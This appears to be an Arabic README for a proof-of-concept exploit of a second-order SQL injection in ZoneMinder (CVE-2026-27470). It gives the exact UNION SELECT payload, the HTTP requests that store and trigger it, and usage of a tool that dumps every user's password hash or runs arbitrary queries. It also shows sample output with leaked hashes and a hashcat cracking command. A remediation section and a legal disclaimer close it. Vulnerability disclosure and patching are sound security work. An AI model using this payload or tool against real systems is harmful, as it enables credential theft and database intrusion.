
إثبات مفهوم لاستغلال ثغرة حقن SQL من الدرجة الثانية في ZoneMinder (CVE-2026-27470). يوضح استخراج البيانات بعد المصادقة، بما في ذلك بيانات اعتماد المستخدمين، مع خيارات لاستعلامات مخصصة وتفريغ التجزئات.
⚠️ إخلاء مسؤولية قانوني
تم تطوير هذه الأداة لأغراض تعليمية واختبارات أمنية مرخّصة كتابيًا فقط. استخدامها ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها غير قانوني. الوصول غير المصرح به يخضع لعقوبات جنائية شديدة في العديد من البلدان (المادة 243-245 من قانون العقوبات التركي، CFAA الأمريكي، توجيه الاتحاد الأوروبي NIS، إلخ). أي مسؤولية قانونية ناتجة عن إساءة استخدام هذه الأداة تقع بالكامل على المستخدم؛ ولا يتحمل المؤلف أي مسؤولية.
إثبات مفهوم لاستغلال ثغرة حقن SQL من الدرجة الثانية في ZoneMinder. يمكن لمستخدم موثّق يمتلك صلاحيات تعديل وعرض Events استخراج بيانات عشوائية من قاعدة البيانات — بما في ذلك جميع بيانات اعتماد المستخدمين.
| الحقل | التفاصيل |
|---|
| معرف CVE | CVE-2026-27470 |
| الخطورة | عالية — CVSS 8.8 |
| ناقل الهجوم | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| الإصدارات المتأثرة | ZoneMinder ≤ 1.36.37 و 1.37.61 – 1.38.0 |
| الإصدار المُصلَح | 1.36.38 / 1.38.1 |
| الملف | web/ajax/status.php → getNearEvents() |
| CWE | CWE-89: عدم تحييد أوامر SQL بشكل صحيح |
| مطلوب مصادقة | نعم — صلاحية تعديل + عرض Events |
هذه حقنة SQL من الدرجة الثانية (مخزنة) نموذجية. يحدث الهجوم على مرحلتين منفصلتين، ولهذا السبب غالبًا ما تفشل الماسحات التقليدية في اكتشافها.
المرحلة 1 — كتابة آمنة
يعيد المهاجم تسمية حدث بحمولة خبيثة. يستخدم ZoneMinder استعلامًا مُعاملًا بشكل صحيح هنا، لذلك تُخزَّن الحمولة بأمان في قاعدة البيانات دون إثارة أي أخطاء:
POST /index.php HTTP/1.1
request=event&action=rename&id=1&eventName=' UNION SELECT Password,NULL FROM Users LIMIT 0,1-- -
// web/ajax/event.php — آمن ✅
dbQuery('UPDATE Events SET Name = ? WHERE Id = ?', [$_REQUEST['eventName'], $id]);
في هذه المرحلة يبدو كل شيء نظيفًا. الحمولة تستقر بهدوء في عمود Events.Name.
المرحلة 2 — قراءة قابلة للاستغلال
يُطلق المهاجم getNearEvents() بطلب الأحداث القريبة لنفس سجل الحدث. تقرأ الدالة قيمة Name المخزنة من قاعدة البيانات ثم تدمجها مباشرة في استعلام SQL جديد دون أي تهريب:
GET /index.php?request=status&entity=nearevents&id=1&sort_field=Name&sort_asc=1 HTTP/1.1
// web/ajax/status.php ~السطر 460 — قابلة للاستغلال ❌
$event = dbFetchOne('SELECT * FROM Events WHERE Id=?', NULL, [$id]);
$sql = 'SELECT E.Id, E.StartDateTime FROM Events E
INNER JOIN Monitors M ON E.MonitorId = M.Id
WHERE E.Name >= \'' . $event[$_REQUEST['sort_field']] . '\' // ← نقطة الحقن
AND (' . $filter->sql() . ') AND E.Id < ' . $event['Id'];
تكسر الحمولة المخزنة سياق السلسلة النصية وينفَّذ UNION SELECT المُحقن، مما يسرّب البيانات في حقل NextEventId من استجابة JSON:
{
"result": "Ok",
"nearevents": {
"EventId": "1",
"NextEventId": "$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6",
"NextEventStartTime": null
}
}
ارتكب المطوّر خطأً شائعًا جدًا: لقد عالج مدخلات المستخدم بشكل صحيح عند الكتابة، مما خلق إحساسًا زائفًا بالأمان. الافتراض بأن "البيانات من قاعدة البيانات الخاصة بنا آمنة" سمح بوجود الثغرة في مسار القراءة لسنوات. لن تكتشف جدران الحماية ومعظم الماسحات الآلية هذا الأمر لأن طلب الكتابة يبدو نظيفًا تمامًا.
pip install requests
-t, --target عنوان الهدف (مثال: http://10.10.10.10:8080)
-u, --username اسم مستخدم ZoneMinder
-p, --password كلمة مرور ZoneMinder
--event-id معرف الحدث المستخدم كناقل للحقن
--query استعلام SQL مخصص للتنفيذ
--dump-users تفريغ جميع أسماء المستخدمين وتجزئات كلمات المرور
--field حقل الحقن: Name (افتراضي) أو Cause
--no-restore عدم استعادة اسم الحدث بعد الاستغلال
# التحقق من إصدار قاعدة البيانات (أبسط اختبار)
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--query "SELECT VERSION()"
# تفريغ جميع المستخدمين وتجزئات كلمات المرور
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--dump-users
# الحقن عبر حقل Cause بدلاً من Name
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--field Cause --dump-users
# استعلام مخصص
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--query "SELECT @@hostname"
╔══════════════════════════════════════════════════════════╗
║ CVE-2026-27470 — ZoneMinder Second-Order SQLi PoC ║
║ CVSS 8.8 | Authenticated | Events Permission ║
╚══════════════════════════════════════════════════════════╝
[*] Target : http://10.10.10.10:8080
[*] Logging in...
[+] Session established.
[+] Event ID (manual): 1
[*] Injecting payload (Name field)...
[+] Payload stored via parameterized query — looks clean in DB.
[*] Triggering second-order injection...
[*] HTTP 200
[*] Event name restored.
[+] User count: 2
[*] Running query: SELECT Username FROM Users LIMIT 0,1
[*] Running query: SELECT Password FROM Users LIMIT 0,1
[+] User 1: admin:$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6
[*] Running query: SELECT Username FROM Users LIMIT 1,1
[*] Running query: SELECT Password FROM Users LIMIT 1,1
[+] User 2: operator:$2b$12$xK8s...
Attacker ZoneMinder MariaDB
│ │ │
│ POST /index.php │ │
│ action=rename │ │
│ eventName=<PAYLOAD> ──────► │ │
│ │ UPDATE Events SET Name=? ──►│
│ │ (parameterized — safe) │
│ │◄─────────────────────────────│
│ │ │
│ GET /index.php │ │
│ entity=nearevents ──────► │ │
│ sort_field=Name │ SELECT * FROM Events WHERE │
│ │ Id=? ──►│
│ │◄── Name = '<PAYLOAD>' ───────│
│ │ │
│ │ builds SQL string: │
│ │ WHERE Name >= '<PAYLOAD>' │
│ │ (no escaping!) │
│ │ UNION SELECT executes ────► │
│ │◄── credentials ──────────────│
│◄── JSON with leaked data ─────│ │
# كسر التجزئات المجمعة باستخدام hashcat
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
Events.Name هو varchar(64) في قاعدة البيانات — حافظ على الحمولات المحقونة أقل من 63 حرفًاnearevents.NextEventId في استجابة JSONقم بتحديث ZoneMinder إلى 1.36.38 أو 1.38.1.
الإصلاح هو استخدام عنصر نائب في استعلام مُعامل للقيمة المخزنة بدلاً من دمج السلاسل النصية:
// قبل (قابل للاستغلال)
$sql = "... WHERE E.Name >= '" . $event[$sort_field] . "'";
// بعد (مُصلَح)
$sql = "... WHERE E.Name >= ?";
$result = dbQuery($sql, [$event[$sort_field]]);
هذه الأداة لأغراض البحث الأمني التعليمي والمرخّص فقط.
لا تستخدمها ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.